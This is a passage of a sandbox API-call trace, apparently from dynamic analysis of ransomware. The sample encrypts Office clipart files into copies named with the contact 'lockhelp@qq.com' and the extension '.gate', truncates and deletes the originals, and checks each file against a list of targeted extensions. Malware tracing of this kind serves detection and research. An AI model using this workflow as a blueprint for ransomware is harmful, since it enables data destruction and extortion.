hFile=0x344, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0321.035] SetEndOfFile (hFile=0x344) returned 1 [0321.035] CloseHandle (hObject=0x344) returned 1 [0321.035] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.035] SetEndOfFile (hFile=0x340) returned 1 [0321.036] CloseHandle (hObject=0x340) returned 1 [0321.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.036] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf")) returned 1 [0321.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0321.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0321.037] lstrlenW (lpString=".doc") returned 4 [0321.037] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.037] lstrlenW (lpString=".docx") returned 5 [0321.037] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.037] lstrlenW (lpString=".pdf") returned 4 [0321.037] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.037] lstrlenW (lpString=".xls") returned 4 [0321.037] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.037] lstrlenW (lpString=".xlsx") returned 5 [0321.037] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.037] lstrlenW (lpString=".ppt") returned 4 [0321.037] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0321.037] lstrlenW (lpString=".zip") returned 4 [0321.037] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.037] lstrlenW (lpString=".rar") returned 4 [0321.037] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.037] lstrlenW (lpString=".bz2") returned 4 [0321.037] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.037] lstrlenW (lpString=".7z") returned 3 [0321.037] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0321.037] lstrlenW (lpString=".dbf") returned 4 [0321.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0321.038] lstrlenW (lpString=".1cd") returned 4 [0321.038] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0321.038] lstrlenW (lpString=".jpg") returned 4 [0321.038] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0321.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0321.038] lstrlenW (lpString=".doc") returned 4 [0321.038] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.038] lstrlenW (lpString=".docx") returned 5 [0321.038] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.038] lstrlenW (lpString=".pdf") returned 4 [0321.038] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.038] lstrlenW (lpString=".xls") returned 4 [0321.038] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.038] lstrlenW (lpString=".xlsx") returned 5 [0321.038] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.038] lstrlenW (lpString=".ppt") returned 4 [0321.038] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0321.038] lstrlenW (lpString=".zip") returned 4 [0321.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.038] lstrlenW (lpString=".rar") returned 4 [0321.038] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.038] lstrlenW (lpString=".bz2") returned 4 [0321.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.038] lstrlenW (lpString=".7z") returned 3 [0321.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0321.038] lstrlenW (lpString=".dbf") returned 4 [0321.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0321.039] lstrlenW (lpString=".1cd") returned 4 [0321.039] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0321.039] lstrlenW (lpString=".jpg") returned 4 [0321.039] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.039] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0321.039] lstrlenW (lpString="AN04196_.WMF") returned 12 [0321.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0321.039] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=3144) returned 1 [0321.039] CloseHandle (hObject=0x340) returned 1 [0321.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf")) returned 0x220 [0321.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0321.040] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.040] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0321.040] GetLastError () returned 0x0 [0321.040] ReadFile (in: hFile=0x340, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0xc48, lpOverlapped=0x0) returned 1 [0321.041] WriteFile (in: hFile=0x344, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0xc50, lpOverlapped=0x0) returned 1 [0321.042] ReadFile (in: hFile=0x340, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0321.042] WriteFile (in: hFile=0x344, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0321.042] SetEndOfFile (hFile=0x344) returned 1 [0321.043] CloseHandle (hObject=0x344) returned 1 [0321.043] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.043] SetEndOfFile (hFile=0x340) returned 1 [0321.043] CloseHandle (hObject=0x340) returned 1 [0321.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.044] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf")) returned 1 [0321.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0321.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0321.044] lstrlenW (lpString=".doc") returned 4 [0321.044] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.044] lstrlenW (lpString=".docx") returned 5 [0321.044] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.044] lstrlenW (lpString=".pdf") returned 4 [0321.044] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.044] lstrlenW (lpString=".xls") returned 4 [0321.044] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.045] lstrlenW (lpString=".xlsx") returned 5 [0321.045] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.045] lstrlenW (lpString=".ppt") returned 4 [0321.045] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0321.045] lstrlenW (lpString=".zip") returned 4 [0321.045] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.045] lstrlenW (lpString=".rar") returned 4 [0321.045] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.045] lstrlenW (lpString=".bz2") returned 4 [0321.045] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.045] lstrlenW (lpString=".7z") returned 3 [0321.045] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0321.045] lstrlenW (lpString=".dbf") returned 4 [0321.045] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0321.045] lstrlenW (lpString=".1cd") returned 4 [0321.045] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0321.045] lstrlenW (lpString=".jpg") returned 4 [0321.045] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0321.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0321.045] lstrlenW (lpString=".doc") returned 4 [0321.045] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.045] lstrlenW (lpString=".docx") returned 5 [0321.045] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.045] lstrlenW (lpString=".pdf") returned 4 [0321.045] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.046] lstrlenW (lpString=".xls") returned 4 [0321.046] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.046] lstrlenW (lpString=".xlsx") returned 5 [0321.046] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.046] lstrlenW (lpString=".ppt") returned 4 [0321.046] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0321.046] lstrlenW (lpString=".zip") returned 4 [0321.046] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.046] lstrlenW (lpString=".rar") returned 4 [0321.046] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.046] lstrlenW (lpString=".bz2") returned 4 [0321.046] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.046] lstrlenW (lpString=".7z") returned 3 [0321.046] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0321.046] lstrlenW (lpString=".dbf") returned 4 [0321.046] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0321.046] lstrlenW (lpString=".1cd") returned 4 [0321.046] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0321.046] lstrlenW (lpString=".jpg") returned 4 [0321.046] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.046] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0321.046] lstrlenW (lpString="AN04206_.WMF") returned 12 [0321.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0321.047] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=7668) returned 1 [0321.047] CloseHandle (hObject=0x340) returned 1 [0321.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf")) returned 0x220 [0321.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0321.047] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.047] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0321.048] GetLastError () returned 0x0 [0321.048] ReadFile (in: hFile=0x340, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x1df4, lpOverlapped=0x0) returned 1 [0321.049] WriteFile (in: hFile=0x344, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0x1e00, lpOverlapped=0x0) returned 1 [0321.050] ReadFile (in: hFile=0x340, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0321.050] WriteFile (in: hFile=0x344, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0321.050] SetEndOfFile (hFile=0x344) returned 1 [0321.050] CloseHandle (hObject=0x344) returned 1 [0321.050] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.050] SetEndOfFile (hFile=0x340) returned 1 [0321.051] CloseHandle (hObject=0x340) returned 1 [0321.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.051] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf")) returned 1 [0321.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0321.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0321.052] lstrlenW (lpString=".doc") returned 4 [0321.052] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.052] lstrlenW (lpString=".docx") returned 5 [0321.052] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.052] lstrlenW (lpString=".pdf") returned 4 [0321.052] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.052] lstrlenW (lpString=".xls") returned 4 [0321.052] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.052] lstrlenW (lpString=".xlsx") returned 5 [0321.052] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.052] lstrlenW (lpString=".ppt") returned 4 [0321.052] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0321.052] lstrlenW (lpString=".zip") returned 4 [0321.052] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.052] lstrlenW (lpString=".rar") returned 4 [0321.052] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.052] lstrlenW (lpString=".bz2") returned 4 [0321.052] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.052] lstrlenW (lpString=".7z") returned 3 [0321.052] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0321.053] lstrlenW (lpString=".dbf") returned 4 [0321.053] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0321.053] lstrlenW (lpString=".1cd") returned 4 [0321.053] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0321.053] lstrlenW (lpString=".jpg") returned 4 [0321.053] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0321.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0321.053] lstrlenW (lpString=".doc") returned 4 [0321.053] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.053] lstrlenW (lpString=".docx") returned 5 [0321.053] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.053] lstrlenW (lpString=".pdf") returned 4 [0321.053] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.053] lstrlenW (lpString=".xls") returned 4 [0321.053] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.053] lstrlenW (lpString=".xlsx") returned 5 [0321.053] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.053] lstrlenW (lpString=".ppt") returned 4 [0321.053] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0321.053] lstrlenW (lpString=".zip") returned 4 [0321.053] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.053] lstrlenW (lpString=".rar") returned 4 [0321.053] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.053] lstrlenW (lpString=".bz2") returned 4 [0321.053] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.053] lstrlenW (lpString=".7z") returned 3 [0321.054] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0321.054] lstrlenW (lpString=".dbf") returned 4 [0321.054] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0321.054] lstrlenW (lpString=".1cd") returned 4 [0321.054] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0321.054] lstrlenW (lpString=".jpg") returned 4 [0321.054] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.054] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0321.054] lstrlenW (lpString="AN04225_.WMF") returned 12 [0321.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0321.054] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=8492) returned 1 [0321.054] CloseHandle (hObject=0x340) returned 1 [0321.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf")) returned 0x220 [0321.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0321.055] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.055] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0321.056] GetLastError () returned 0x0 [0321.056] ReadFile (in: hFile=0x340, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x212c, lpOverlapped=0x0) returned 1 [0321.056] WriteFile (in: hFile=0x344, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0x2130, lpOverlapped=0x0) returned 1 [0321.057] ReadFile (in: hFile=0x340, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0321.057] WriteFile (in: hFile=0x344, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0321.057] SetEndOfFile (hFile=0x344) returned 1 [0321.058] CloseHandle (hObject=0x344) returned 1 [0321.058] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.058] SetEndOfFile (hFile=0x340) returned 1 [0321.058] 